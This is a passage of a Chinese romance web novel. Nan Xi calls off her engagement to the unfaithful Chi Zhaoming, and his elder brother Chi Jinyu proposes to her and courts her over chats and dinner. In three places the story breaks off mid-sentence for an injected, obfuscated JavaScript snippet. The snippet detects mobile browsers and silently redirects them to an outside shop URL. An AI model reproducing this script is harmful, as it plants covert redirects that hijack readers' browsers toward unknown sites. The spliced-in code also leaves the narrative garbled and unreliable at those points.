池靳予不住家里,甚至很少回这个家,南俊良印象中的他还是十多岁,出国以前。 南惜更不认识他。 这位向来深居简出,即便她从小和池昭明交好,也没见过这位传说中的大哥。更因为池昭明口中的轻蔑和贬低,对他没有兴趣。 回国接手集团之后,不参加任何媒体活动,也不允许媒体上出现他的私人信息,可谓隐藏得滴水不漏。 直到池靳予在她侧面沙发坐下,南惜脑袋里还一片凌乱。 昨晚她喝醉酒肆意调戏,又亲又啃又撒泼,最后还蛮不讲理强搂了一夜的,竟然是从未露面的池家大少爷,差点成为她大伯哥的男人? 和府街那套别墅谁都不知道主人身份,但如果是他的话,一切都说得通了。 似乎也只能是他。 就像上学时不会解的难题,看过标准答案之后,才发现每一个步骤都合情合理。 在南惜嗡嗡作响的小世界外,池靳予礼貌地和南俊良夫妇打招呼,并亲手为他们换茶。 田蕙云泡的茶他们没碰过,早凉了。 田蕙云虽然讨厌池靳予的存在,但如今家里他掌权,连池苍山都要听他几分。于是忍着心中不忿,上前请求:“靳予啊,你快帮帮忙,南家说什么都要和你弟弟退婚。” 她眼角还有哭过的红晕,这会儿又演上了,吸着鼻子泫然欲泣:“你弟弟命苦,我也没用,这个家就指望你了。” 池靳予扫她一眼,目光并没有温度,但自小浸润的涵养让他言语保持起码的尊敬:“您言重。” 说完,朝南家夫妇稍微侧过,嗓音低醇轻缓,每一个字都掷地有声:“叔叔,阿姨,现下京城的形势您二位都清楚,我们两家多年以来同气连枝,不可否认是最好的选择。” 他话说一半,留一半。如果不能同气连枝,就很可能两败俱伤。 一山不容二虎,是亘古不变的道理。 何况他与祁景之本就进军着同一新兴行业,分着同一块蛋糕,两人表面相安无事,背地里早就暗潮汹涌,逮着机会给对方使绊子。 道理都懂,所以南俊良脸色不怎么好。 池靳予半句不提池昭明,比池苍山精明锐利得多。 他不说废话,句句是重点,因为走到这步,两人感情怎样已经不重要了。 能牵制彼此的只有利益。 祁玥闻言冷笑了声:“传言大少爷是个明事理,懂分寸的,没想到自家兄弟干出这等丑事儿,也要昧着良心为他遮丑,见识了。” “阿姨说笑。”池靳予淡然勾着唇,没脾气似的。半点不介意她的态度,依旧温逊有礼,“舍弟犯错不容原谅,更何况是这种弥天大错,他也没脸再求娶令嫒。这件事我做主,罢了。” 说完看了眼池苍山,假意征求认可:“父亲,您觉得呢?” 池苍山撇开眼,叹了口气:“依你。” 田蕙云整个人瞬间垮下,不可置信地望向自家老公。嘴唇颤抖着,发不出一点声音。 池苍山朝佣人使了个眼色,让扶她下去休息。 祁玥被他绕得有点懵:“大少爷,这是何意?” 西湖龙井泡到正好,池靳予看一眼清澄的茶色,倒出三杯,稳稳端到桌面上。 也是今晚第一次,认认真真地望向南惜。 “我希望和南小姐结婚。” 7. 第 7 章 除了他自己,其余四人都愣住。 池苍山瞪大了眼望向儿子,哑然失声。 “是你在说笑吧。”南俊良最先清醒,沉着脸,带着审视望向他。 “叔叔,我是认真的。”池靳予迎上他目光,没有半分心虚躲闪,“希望您和阿姨能考虑一下我。” 南俊良从他眼底挑不出一丝破绽,仿佛真是个诚恳,谦逊,心无杂念,只想求娶他女儿的普通后辈。 但他很清楚,这位和池家任何人都不一样。 探不见底的眸,就如同这个外表年轻的男人,在商场上出神入化的雷霆手段。 南惜虽聪慧伶俐,却拿捏不住这种男人。 “这件事要她自己同意,如果她不愿,免谈。”南俊良看向南惜,问:“惜惜,你何时认识的大少爷?” 突然被叫到名字,南惜怔了下,忙不迭摇头:“我不认识。” 不留神撞到对面那人似笑非笑的眼神,她颤着眼睫躲闪开。 看什么看?本来就不认识嘛。南惜忍不住腹诽。 她是喝醉了被他带回家,亲过抱过还在他床上睡了一夜。但除此之外,她对他一无所知,昏头了才要嫁给他。 和池昭明的问题已解决,她不想再待下去,忍受这个男人令她如坐针毡的目光,私下扯了扯南俊良的衣角。 南俊良会意,望向池苍山说:“时间不早了,我们告辞。” 他直接牵着妻子站起来,池苍山不好多留。 刚沏的三杯茶还是没动,池靳予亲自起身送他们。 出门前,朝保姆阿姨使了个眼色。 穿过两道垂花门,到四合院门口的迈巴赫旁,池靳予礼貌道别:“今晚仓促,抱歉怠慢了,改日我做东,再请叔叔阿姨和南小姐吃饭。” 内容听着像客套,但语气很认真。 保姆阿姨拎着个精致的雕花盒子出来,池靳予接过,微微侧身抬手,递给南惜:“家里新雇的苏州厨师,糕点和糖水做得还地道,刚看你好像感兴趣,带着尝尝,喜欢再跟我说。” 今晚南惜的确瞟了很多眼桌上的甜品,每样都精致漂亮,香味扑鼻。但碍于双方剑拔弩张的谈判气氛,而且是田蕙云端上来的,她没动。 没想到这人居然发现了。 南惜僵着手接也不是,不接也不是。心想这男人做什么,弄得好像对她很关心,好像他们俩很熟似的。 但盒中溢散出糕点的香味,她依稀辨认出樱花,草莓,橘子和奶香,还有她暂时辨认不出的别的香味,分外诱人。 应该才出锅不久,还带着热乎气,精准勾住她胃里的馋虫。 祁玥精明的眼光在两人之间溜了几个来回,察觉出什么,憋着笑说:“大少爷一片心意,收下吧,咱们该走了。” 南惜从善如流接过来,抬眼看了看他,嘴上客气礼貌,疏远得不行:“谢谢您。” 池靳予勾着唇,没流露出多少情绪,温温雅雅,进退有度,站上台阶给迈巴赫让出位置:“到家报个平安。” “……”南惜刚踏上车,嘴角一抽。 这男人要不要演这么过头? 她大概能猜到他什么心思,故意在爸妈面前表现得温柔体贴,改善印象。 想得美。 池昭明的哥哥能是什么好东西? 一个屋住不出两种人。 驶过安静的胡同,拐上大街,迈巴赫始终平稳。 南惜盯着桌上的梨花木食盒,满车厢都是花果香夹着奶香,不禁咽了好几口唾沫。 祁玥上前揭开盖子:“闻着挺香的,不尝尝?” 没有那一层遮挡,香味更浓郁了。 南惜撇开眼:“我不饿。” “那我开动咯。”祁玥拿出一块绿色糕点,是精致的叶片形状,咬了一小口,享受地眯眼,“这绿茶糕不错啊,又香又软糯,好新鲜。诶,老公你尝尝,用的是龙井还是碧螺春?” 南俊良本来不想碰池家人送的东西,被老婆温香软玉靠在怀,亲手喂到嘴边,也就剩昏君的智商了。 他乖乖咬一口,细品过后,眼神有松动:“是今年的雨前龙井,bb。” 还bb,bb咩啊bb。 南惜一阵鸡皮疙瘩爬上身,脑子里第二母语都蹦出来了,呢两個大番薯。 受不了他俩腻腻歪歪,好刺眼,懒得看,低头玩手机。 微信通讯录突然多了个红点。 她切换页面,看见突兀的新好友验证:【我是池靳予。】 南惜拧着眉,回复:【池先生,您为什么会有我微信?】 他仿佛没察觉到质问的语气,耐心又发了次申请:【你留在我家的电话号码。】 “……”嚯。 差点忘了那件事。 现在给他一百万换个清静,还来得及吗? 想起自己留那张纸条的用意,她暂且通过好友验证。 他却绝口没提昨晚的事:【糕点味道如何?】 南惜撩眼看了看那两位,皇后娘娘正给昏君喂第二块,粉色的,那香味闻着像她去年冬天喝的草莓布蕾奶茶。 甜得要命,腻得发晕。 她没回,那人发过来第二句:【不认识没关系,我们可以慢慢认识。】 【我不着急。】 ……他认真的? 南惜愣愣看着屏幕上接下来的话:【池昭明那边,你想要他怎么道歉和补偿,尽管跟我提。如果你见他烦,我也可以不让他出现。】 【至于别的,他是他,我是我。希望南小姐给我一个公平的机会。】 南惜心情变得有点复杂。 怎么一点都不像早上那个闷棍? 还挺会讲话。 南惜虽然性子娇纵了些,但其实是个心软的人,只要对方态度好,又没太得罪她,她就说不出多难听的。 她很好哄,也很能听进去道理。 虽然眼下还不好断定池靳予是个什么样的人,但的确,他是他,渣男是渣男,强行混为一谈是不讲道理。 因为池昭明得罪她,就迁怒给他哥哥,这种行为十分小家子气。 于是她思虑片刻,敲字:【不用了池先生,我跟他已经结束了,不需要什么补偿,多谢您。】 【不用您为此做什么,这不是您的错。】 她有意忽略他第二句,没正面回答。 池靳予也是个聪明人,见好就收:【好。】 【糕点凉了就不要吃了,下次再送你。】 南惜没再回。 她被南俊良叫过去了。 和老婆腻歪过后,想起还悬在头顶的正事,南俊良神色变得严肃:“池家老大的提议你怎么想?” 南惜半垂着眼,若无其事地从木盒里取了块酥饼:“我跟他不熟。” 鼻尖沁入雪梨的香味,她咬一口,酥脆清爽,是很淡雅的甜。 南俊良沉吟:“那就是不答应了?” 南惜品着味儿稍一迟疑,点点头:“……嗯。” “好。”南俊良拿出手机,翻着通讯录,“我睇下港岛有冇钟意的靓仔。” “……”南惜手一抖,半块雪梨酥掉到桌面上,“爸,我才23岁,我不要着急结婚。” “没要你现在结婚的意思。”南俊良一脸认真,“早点备选,你钟意,就给你留下。” 南惜:“……”还给我留下,您可真能个儿。 “梁家老大不错,在哈佛念书,人品端正, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14276982|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成绩好,博士毕业就可以回来继承家业。” “样衰,冇眼睇。”南惜嫌弃地挪回角落。 长辈对学霸都有滤镜,这点她真的难以理解。 梁思冀小眼睛四方脸,也能叫靓仔? 她再找一个,起码要比池昭明那只花蝴蝶好看吧?换个低配版多丢人? 说起来,池靳予比池昭明好看得多,气质得多,完全不是一个level。 等等,想他做什么?鬼上身啊。 南惜脑袋一激灵,赶紧甩掉可怕的念头。 “瞿家的呢?当过演员,不会丑吧。”南俊良点点屏幕,一张拍得像明星海报的单人照,呼之欲出的精修味儿,“去年刚接手他爸的公司,听说干得挺好。” 南惜翘着腿悠悠地说:“大番薯。” 南俊良皱眉斥她:“不准骂人。” “他脑子笨,考试就没及格过。”南惜指了指照片上那人,“我不喜欢笨蛋。” 南俊良望着她憋了股气,默念三遍是亲生的,亲生的,他亲生的。耐下性子,又仔细翻了一会儿通讯录和相册。 终于,眼眸一亮:“卓英懋,你们从小一起玩,你认识他的年纪和池昭明差不多。他现在已经是集团董事,长得靓,学历也perfect,而且对你好。这一个,总没得挑吧?” “嗯……”的确是个相对完美的选择。 南惜绞尽脑汁摘出个短板,比着小拇指对南俊良说:“他有一点点矮。” 如果和池靳予比,就不止一点点了。 “……”南俊良对她无语,把手机扔到一旁,“你7街训!” 嚯,真生气了,都要赶她出门了。 南惜憋着笑喊司机:“叔叔,送我去云宫。” 南俊良彻底不理她。 车内仅剩舒缓的轻音乐,和南惜断断续续啃糕点的声音。 良久,开完会的祁景之终于得空给她发消息,询问今晚的谈判:【点啊?】 南俊良平时粤语夹京腔,自创一套港普,惹毛了飚母语骂人。兄妹俩从小被耳濡目染,对着港岛亲戚说粤语,京城这边说普通话,至于自家人,看心情切换。 【搞定咯,回家路上。】 南惜瞄一眼气到吭哧冒烟的老爸:【不过爹地被惹毛了。】 【叫我7街训。】 祁景之:【又惹他干嘛。】 【傻猪猪。】 南惜:【你条粉肠!】 祁景之:【……】 【听说那个谁回去了?】 南惜:【边个?】 祁景之:【池靳予。】 南惜讶然他怎么知道:【是啊。】 祁景之:【他回去干什么?】 南惜照实交代:【他说他想跟我结婚。】 气氛好像突然变凝重。 那边“正在输入”显示了许久,只发过来五个字:【叫他丫滚蛋。】 这溢出屏幕的愤怒,南惜嗅到股八卦气息:【他怎么你了?】 “正在输入”再次反复闪烁,几遍之后,祁景之语气平静:【没怎么。】 【商业对手而已。】 【但我不建议你跟他结婚。】 南惜:【哦。】 【我没打算跟他结婚啊。】 【不过爸刚才在物色港岛那边的男孩子,要给我选,我一个都不想选。】 祁景之:【那就别选。】 【我会让他们都滚。】 “噗嗤。”南惜没憋住。 南俊良气还没消,听见声,不悦地瞥过来:“你笑乜?” 南惜用手机遮着脸,弯腰笑到肚子疼。 只要有祁景之在,老头休想为她拉郎配。 8. 第 8 章 这晚南惜回了云宫。 倒不是因为惹毛南俊良,真赶她去街上睡。只是第二天上午spa按摩,下午逛街,晚上蹦迪,祁书艾为了补偿放她鸽子的行为,要安排她快乐一整天。 龙湖离市中心太远,她不想被迫起那么早。 而那条被举报违规,害祁书艾重拍一晚上才通过的视频…… 南惜躺在spa床上看,差点笑到绷不住。 南惜时常会想,自己真是个命顶好的人,身边有这么多善良可爱的天使。除了遇人不淑,一大把青春喂了狗。 但人总不可能一辈子没点挫折,也许池昭明就是老天安排给她渡劫的吧。 那条明嘲暗讽某渣男,并上升到科普男性思维,教广大妹妹仔擦亮眼避坑防骗自我保护的视频,被祁书艾千万粉丝的法律专业号发出来,一夜之间上了热搜。 比当时池昭明和糊星的花边新闻还要火。 这影响力,也无怪某些人破防举报。 南惜点了个赞,把手机放到旁边,闭上眼唏嘘:“那些说你草包大小姐的,要知道这账号皮下是你,舌头都得咬断。” 祁家出美女,一代更比一代强,祁书艾颜值的名气比当年的京城第一美人祁玥更盛。 和她美貌同样出圈的,是她不爱学习脑子笨,花了钱才跟南惜一块儿去宾大,得了个“草包美人”的称号。 毕业回国后啥也不干,专心在家里啃老,全指望弟弟长大后继承公司。 祁书艾这个账号,这份事业,连她爸妈都不知道。 只有南惜,和这两个早签过保密协议,不会透露顾客隐私的技师。 * 池昭明在医院见到他妈,才知道他的未婚妻差一点,或者即将被截胡。 他仍然没接受南惜已经不是他未婚妻的现实,活在往日她对他言听计从,随便哄哄就能原谅他的虚幻错觉里。 昨天兄弟来探望的时候,池昭明信誓旦旦:“她就是跟我闹脾气,这次情节严重闹大了点儿,我俩二十年的感情,过段时间冷静冷静就好了。男人在外面花天酒地有什么?这事儿她迟早要想通。” 他从来不信她真的会退婚,池南两家联姻,在京城乃至全国豪门圈都是大事。还有商业上千丝万缕的联系,毁了婚,后续都不好收场。 然而田蕙云告诉他,昨晚大哥当着南惜父母的面,说想要取代他,和南惜结婚。 “草!”池昭明气得肺管子要炸,还没完全归位的肋骨险些又错位,“趁我住院抢我老婆,他妈的还能更阴险吗?” 田蕙云睨了他一眼,没说话。 自己儿子自己清楚,他也就这会儿在病房里横,真到了那位面前,连个屁都不敢放。 跟池靳予对峙不可能,他们母子俩都没有资格也没底气,只能从当事人入手。 田蕙云苦口婆心地劝:“我看这次真的很严重,你爸已经答应退婚了,订婚准备的流程都中止,该退的退了,只是还没来得及正式发通知给宾客致歉。在彻底公告之前,咱们还能想想办法挽救。” 池昭明捶了捶床,看自己这副倒霉样:“我能有什么办法?给她下跪啊?” 田蕙云:“也不是不行。” “不可能!门都没有!”池昭明别过脸,“我已经够给她面子了,一个女人,难不成还要骑我头上?” “忍一时之气,等过了门,还不是乖乖听你的?”田蕙云拍了拍他的手,“她在娘家再怎么娇纵,成了咱家媳妇,我都会好好给她立规矩,她不可能骑到你头上。” 池昭明依旧别着脸,面色铁青。 他虽然处处被池靳予压一头,但到底是被父母从小宠大的,工作上可以忍,可作为池家二少爷,受不了这种委屈。 “你也知道和南家联姻,对咱们来说意义多大。南惜手上有南家在京城的一半产业,虽然掌权的是她哥,但那个祁景之,心窝子都能掏给她。还有她爷爷家的股份,那是港岛首富,随便拔根毛都够你吃一辈子,她可比你我命好的多。”田蕙云继续劝着,言语中带着酸,“你和她结婚,就有机会扳倒你哥,但如果让你哥抢了,咱俩这辈子都别想出头。” “我让你从小与她交好,用心良苦,不能在这时候替别人做了嫁衣。” 池昭明望着窗外,眼底难得深沉,静默,泛着许多复杂情绪。 田蕙云站起来:“你自己好好想想,我去问一下医生,你最快什么时候能出院。” “好。”池昭明攥了攥手指,“尽快吧。” * 这几天,南惜过得挺清静。池昭明住院期间没再烦她,那晚池靳予提结婚后,也暂时没有后续。 池昭明被打的事她仔细琢磨了下,八成是她哥的手笔,这人惯会闷着坏。 从小到大敢惹她的人不多,无一例外,都被祁景之明里暗里收拾过。 他向来不爱用迂回又费事的文明招数。 文明是用来尊重好人的,对付烂人,就得用烂招。 云宫位置虽比不上和府街,但也有它的优点。 许多不爱住别墅,又挑剔住宅档次的有钱人都会选择这种几百平的大平层。 帝都这样的小区不多,数云宫地段最好,卖出天价。 南惜买的是楼王中最好的楼层,虽然整个小区也没几栋,专供他们这些有钱没处烧的主儿。 东边的花园露台能看到故宫正景日出,西边是私人停机坪,经常晚霞漫天,比油画还漂亮。 什刹海夜晚的璀璨灯火,只是司空见惯的美景之一。 今天下午盛荟商场的总经理汇报,南惜作为不怎么管事的董事,也要露个面。 一大早,南惜在客厅做美甲。 上门的美甲师专心绘制左手的法式图案,她用闲着的右手拿手机刷着朋友圈,看见魏亦铭,才想起这位四姑家的表哥几年没见了。 这条朋友圈是昨晚发的,定位在港岛国际机场,南惜才知道他回国。 文字写的是“出发”,看来又去鸟不拉屎的北极了。 南惜给他点了个赞。 她不热衷于学业,小时混日子长大混文凭。南俊良说她心不正,否则以她这聪明脑袋瓜,不会只念个宾大本科,镀上个金就草草回国。 南惜没敢告诉她爹,要不是宾大的名号说出去不会给南家跌份,她连国都不想出。 但她打心眼里佩服魏亦铭,把这位活在神话中的科学家表哥当偶像。 南惜倏地瞪大眼睛,手也不自觉动了动。 面前美甲师一惊:“呀!” “没事儿吧?”她猛地看向左手,指甲盖上拉出一条突兀的白线,皱皱眉,“抱歉啊,我刚没注意。” 美甲师跟她熟,纵然对这张金山银山供养着的完美脸蛋早已免疫,还是忍不住晃了神。 这位南家的小公主,长得漂亮又没架子,最好相处了,只可惜渣男没眼光,不知道珍惜。 “没事儿,我重新画就好,来得及。”美甲师温柔地笑了笑,继续工作。 南惜垂眸看回刚刚令她失态的手机屏幕。 魏亦铭那条朋友圈下面,池靳予也点了赞。 南惜定了定神,戳进魏亦铭的私聊框:【亦铭哥,你跟池靳予认识?】 等了两分钟没有回复,她就把微信退了。 以这人的工作性质,等十天半个月回她微信就算不错。 南惜没把这茬放在心上,做完指甲,美美睡了个午觉,便起来梳妆打扮,开车去盛荟。 这种偏商务的场合,着装也得正式些,但西服的一板一眼不符合她心中对漂亮的定义。 她穿了件黑紫拼色的ol风连衣裙,搭条小丝巾,正好美甲也是黑底色,很配。 驼色短款小风衣披在肩头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14276983|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,衬出一抹亮。 拿上手袋下车时,总经理Linda迎上来接她。 Linda是个大美女,工作能力也出色。南惜亲自挑选的,她喜欢自己的手下都是美女。 和美女聊公事都要心情愉悦得多,南惜无法想象这一下午,跟一群大腹便便满面油光的老男人待在办公室,一水的保温杯配枸杞,还要闻烟味,她会不会抓狂。 美女都是白白香香的,不存在这些困扰。 南惜开会话不多。只要结果达到预期,作为董事,她从不插手运营,也不揪细节招人烦,这是对总经理能力的尊重。 其实说白了,是因为她懒。 散会从商场出来,她的车已经被工作人员挪到高管专属车位。 正要去开车,突然被一只手拦住。 这人是一瘸一拐跳过来的。 抬眸看到一张讨厌的脸,南惜眼神蓦地冷下:“劳驾,把您尊贵的手拿开。” 池昭明右手拄着拐,左手倔强地抓住她袖口:“惜惜,我们谈谈。” 她可以直接踢开他,池昭明现在这副鬼样,战斗力还不如路边卖红薯的老太。 可这是她自己的商场,她不想在这儿闹,引人注目。 视线落到不远处的烤红薯摊,南惜忽然计上心头,勾了勾唇:“我请你吃东西吧。” 池昭明一愣,眼里不可置信地掺了光:“……好啊。” 母亲说的果然没错,他这副模样来找她,使点苦肉计,南惜会心软的。 但他没想到这么容易。 一定是他的脸太帅,表情也足够诚恳。因为南惜爱他爱得无法自拔。 南惜十分“贴心”地放慢脚步,池昭明拄着拐跟她走到红薯摊边。 他没发现她眼底的狡黠和捉弄,也想象不到,一贯乖巧的南惜会对他使坏。 “婆婆,帮我挑个最大的,谢谢咯。”南惜拿出手机假装要付钱,等婆婆挑红薯,上秤。 她还是如此贴心,池昭明一张脸乐开了花。 虽然他不爱吃这种路边摊,觉得很没档次,不符合他豪门公子哥的身份,但现下只要顺着她,让她高兴,就算是毒药他也愿吃。 “是不是有点凉了?放进去再烤会儿吧。”南惜摸了摸红薯皮,转头对池昭明说,“我去买两杯奶茶,你就在此地不要走动。” 她还要亲自为他买奶茶。 池昭明激动地捏紧拐杖:“好。” 等她的时候,有兄弟打电话来,池昭明喜滋滋地汇报战况:“我就说她不会不要我的,随便勾勾手指不就回来了吗?” “哟,不愧是你啊。”那兄弟问他:“干嘛呢?” 池昭明笑得十分得意:“她请我吃东西呢。” “吃什么?云璟阁还是天香楼啊?” 池昭明看着眼前冒热气的炉子:“烤红薯。” “啊?”兄弟好像听错了什么,确认一遍:“路边那种烤红薯?” “是啊,你别说,还挺香的。” 那头沉默几秒钟,小心试探地开口:“你确定她是请你吃东西,不是在骂你?” 池昭明这才发现,她没有付钱。 老婆婆笑呵呵地把一张付款码举起来,朝他晃了晃。 池昭明脸色一黑:“……”草。 另一边,回到商场门内的南惜扭头看了眼依旧傻乎乎等在红薯摊前的狗前任,边笑边骂:“死蠢,大番薯——” 话音未落,正被她骂着的人猛转过头。 南惜暗叫不妙,他怎么这么快回过劲来,却忽然被一只温热手掌握着胳膊,带进电梯间。 几天未见的清俊脸庞像做梦般闯入视线,南惜忘记了惊呼,瞪大着眼呆愣愣地,被他拽入安全门内。 本就昏暗的光线被他胸膛挡了个严严实实,低醇嗓音拂过她头顶:“大番薯什么意思?嗯?” 9. 第 9 章 嗯? 南惜天灵盖一阵嗡嗡,若非这人依旧不苟言笑的一张脸,她合理怀疑他在勾引她。 表情很正经,声音却一点不正经。 “……就是骂他蠢的意思。”南惜僵着脖子解释。 他们离太近,导致她呼吸滞涩,脑袋懵懵的像在缺氧。 那双薄唇就在她额头上方,不断溢出温热的气体,让她不可避免想起那天晚上的吻。 同样滚烫的,湿漉漉的,唇舌交缠的吻。 那晚酒精作祟她才会大胆,可这会儿清醒着想起所有细节,整个人就像置身于炭火炉上,羞赧又焦灼。 直到这种难言的气氛终于被电梯间传来的哄闹声打断。 池昭明的怒喊夹在其中:“南惜!你竟然敢耍我!滚出来!你完蛋了!” 挺凶,这话说得她还真不敢出去。 池靳予握着她胳膊的手还没有松开,掌心温热,呼吸也仍然滚烫,嗓音低得像砂纸轻柔地摩挲她心口:“继续躲,还是我陪你出去?” 南惜听着自己脑袋里模糊凌乱的杂音,奋力挣脱出一条清醒的通道:“……谢谢,您不用陪我。” 她想说她一个人待着就好,等池昭明走了她就出去。 可当她的手终于被松开,头顶同时罩下耳语般的气音:“那你待在这儿,别出声。” 说完,他拉开安全门走了出去。 一束光短暂照进来,在地面投下狭长的影子,随着他关门的动作,又迅速消失。 南惜落在昏暗里,不知道他要做什么,也没敢轻举妄动。 几分钟后,收到池靳予的微信:【出来吧,他走了。】 【来2号停车场。】 南惜点开对话,手指在屏幕上方迟疑了会儿,回复:【好。】 2号停车场离出口最近的位置,停着辆松露棕色库里南,车身在阳光下熠熠发光。 这个颜色的库里南她从没见过,高雅独特的棕色,莫名觉得很适合他。 池靳予站在副驾驶门边,两手抄着衬衣下的西裤口袋,望着她,眼神平静得像一面湖。 似乎没什么特别的情绪,但那面湖深不见底,看多了容易沉溺。 南惜稍低下目光,稳住心神走到他面前,十分随意地开口:“您刚刚干什么去了?” 池靳予转过头,用眼神指给她看不远处的公安岗亭:“告诉他们里边儿有个残疾人,脑子不太好,可能是精神病院走丢的。” 南惜意外地懵了下,没忍住笑声:“噗嗤。” 她一笑,男人眼底也亮了些,语气更游刃轻松:“前些天在柏林,刚回来。” “哦。”她脚跟并拢,不着痕迹地挪了挪脚尖。 池靳予看她脚上微妙的小动作,就好像“可爱”这个词语在眼前具象化,不自觉唇角轻勾:“会议太多,又有时差,才没联系你。” 南惜察觉到他在看她,垂眸:“池先生,您不用特意跟我讲这些。” “你可以不在意,但我得解释。”他目光没有挪开,手从裤兜里拿出来,搭上车门把手,“上车吧。” 南惜朝右边瞥瞥,那侧有她的专属车位:“我开车来了。” 池靳予看了眼手表。 “刚好是饭点,遇着了一起吃顿饭,可以吗?”他嗓音含着很浅的笑意,“吃完送你回来开车。或者你想在这儿吃,也行。” 在自家商场和他出双入对地吃饭,没准儿明天就传到南俊良耳朵里。 那晚他看得上的港岛有为青年都被她埋汰了个遍,小老头还在生气,不好惹。 南惜想拒绝,在脑海中组织得体的语言,可这男人诚意满满,已经先她一步打开了车门。 他站在门后,原本该司机站的位置。 他应该向来都是等别人为他开门,从没站过那个位置,也很少给过别人这样的目光吧。 温和,耐心,饱含期待的目光。 这样的目光是绝不适合出现在商场谈判和会议桌上的。 南惜想起那晚胡同里的月色,和昏暗中他拎着食盒认真而诚恳的目光,也像现在。 短短几秒,她心脏像被一个小东西踩了踩,塌下去一块。 她觉得今天一定是鬼上身了,居然这么轻易就上了他的车。 星空顶调至刚好的亮度,不刺眼,但在白天里也能烘托出氛围感。 他这人,还有点浪漫细胞? 南惜扭头看了一眼,在被抓包之前,迅速扭回来看手机。 魏亦铭回了她微信。 这次居然没等半个月,才几个小时,就回了她微信: 【嗯,认识,我朋友。】 【怎么了?】 南惜又快速瞥了眼被表哥称之为“朋友”的男人,接着问:【他是个什么样的人?】 她暗暗告诉自己,才不是因为那天他提结婚才要打听他。 她只是好奇,对这个传闻中又老又丑还不行,本尊却帅得如此逆天,风度涵养也无可挑剔的男人,有理所当然的好奇。 她不信这个世界上会有完美的男人,哪怕她爹,帅气多金宠老婆,但脾气不算太温顺。 魏亦铭很快回复:【是个行事磊落,值得深交的人,我很欣赏。】 南惜想听的不是这个。 她皱皱眉,继续问:【说点儿有用的行不?】 魏亦铭:【什么叫有用?】 南惜:【缺点。】 魏亦铭:【你跟他有仇?】 南惜心虚:【没有啊,就问问。】 魏亦铭:【缺点去问你亲哥,他能告诉你一箩筐。】 南惜眼睛一亮,果然。 但紧接着,魏亦铭毫不留情地打消她兴奋:【不过一条都不可信。】 她嘴角又耷拉下来,不由瞄了瞄正在开车的男人。 握在方向盘上的手,像漫画里一样骨骼精美,温润修长。 手机一震,南惜转回去看消息。 魏亦铭:【真挺不错的,非要鸡蛋里挑骨头,就是他这人挺孤独。】 她心脏微微颤动。 魏亦铭:【读书的时候家里对他不怎么上心,一个人在国外,朋友也不多。我算一个,铂锐资本的薄慎算一个,其他好像就没了。】 【能力出众,人品端正,社交简单。话不多,但做事儿非常靠谱,实在。】 南惜怔怔地看着屏幕,手指无意识地摩挲,这些语句和她接触下来对池靳予的浅薄了解,怎么拼凑都是个不错的人。 科学家实事求是,魏亦铭从不会说谎。 她自己的感觉也做不得假。 发现女孩时不时打量的目光,池靳予在红绿灯前停车,转过头看她一眼:“怎么了?” “没事。”南惜按灭了手机屏幕,抬手把头发掖到耳后,过了一会儿,又揪着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14276984|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子上的丝巾愣神。 她在想,那些年田蕙云母子对他本人的歪曲和诽谤,是有多恶毒。她真的以为他是一个自私,霸道,刻薄冷酷的资本家。 还有满城关于他外貌的虚假流言和带侮辱性质的人身攻击,他就真的不在意吗? 夕阳逐渐带走空气中的余热,天边粉橘色云团交织泼洒成油画,又被高楼大厦无情地将这块画板切割。 这个时候,她本该坐在云宫的停机坪上,悠然自得地看晚霞。 但很奇怪,此刻她并没有一丁点计划被打乱的不耐和烦躁,脑子里时不时地,还想起魏亦铭那些话。 她的走神被男人低醇的嗓音打断:“到了。” 池靳予解开安全带,又下车绕到副驾驶,站在一旁等她下车。 脚落地,胡同掠过一阵风,她不自觉拢了拢外套。 池靳予关好车门,把钥匙交给泊车小哥,手腕内侧抵在她肩头往里推推,示意她上台阶,留神被车身擦到。 他的手离开后,南惜有点怀念肩膀上那阵热度。 一定是园子里太冷了,她想。 这是一家四合院会所,但和池家老宅的传统京式风格不一样。 是彻底打破重修过的,一步一景的江南院落。 连廊漂浮在锦鲤池上,每当有脚步经过,桥下聚集的鱼儿便散开,像打翻的红色颜料随水波晃荡,游到不远的地方,再次欢快地成群结队。 南惜一路都在看那些锦鲤,到连廊尽头,池靳予伸手拦了她一下:“台阶。” “哦。”南惜笑着踩下去,“谢谢。” 晚霞落幕,黑夜升起,暖白色射灯在水面映下一座座小山丘,庭院被各种灯光装点出与白天不同的静谧。 院内景色比包厢里好看,等餐时,南惜坐在包厢后门的美人靠上,拿着服务员送来的一小包鱼食,看灯影中的锦鲤随着她抛出的动作而雀跃争抢,激起一阵阵水花。 鱼食喂完,她支着脑袋开始发呆,视线落在对面假山的洞里。 那里正好投了一束灯,照出假山凹凸的纹理,和深浅变幻的光影,有种引人探究的神秘。 就像这世上某一种人。 